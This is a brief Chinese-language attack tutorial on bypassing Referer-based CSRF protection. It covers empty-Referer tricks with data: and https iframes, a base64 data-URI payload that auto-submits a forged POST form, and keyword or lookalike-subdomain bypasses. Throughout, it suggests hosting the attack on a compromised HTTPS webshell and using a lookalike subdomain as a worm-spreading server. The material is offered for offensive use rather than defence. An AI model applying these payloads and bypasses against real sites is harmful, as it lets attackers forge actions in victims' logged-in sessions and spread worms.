有条件限制 不一定所有验证 Refere 就可以绕过

1.Refere 为空条件下

解决方案:

利用 ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是 file:// 开头的,如果这个 HTML 页面向任何 http 站点提交请求的话,这些请求的 Referer 都是空的。

例:

利用 data:协议

```
<html>
        <body>
                <iframe  src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
        </body>
</html>
```

bese64 编码 解码即可看到代码

利用 https 协议

https 向 http 跳转的时候 Referer 为空

拿一个 https 的 webshell

<iframe src="https://xxxxx.xxxxx/attack.php">

attack.php 写上 CSRF 攻击代码

2.判断 Referer 是某域情况下绕过

比如你找的 csrf 是 xxx.com 验证的 referer 是验证的*.xx.com 可以找个二级域名 之后<img "csrf 地址"> 之后在把文章地址发出去 就可以伪造。

3.判断 Referer 是否存在某关键词

referer 判断存在不存在 google.com 这个关键词

在网站新建一个 google.com 目录 把 CSRF 存放在 google.com 目录,即可绕过

4.判断 referer 是否有某域名

判断了 Referer 开头是否以 126.com 以及 126 子域名 不验证根域名为 126.com 那么我这里可以构造子域名 x.126.com.xxx.com 作为蠕虫传播的载体服务器，即可绕过。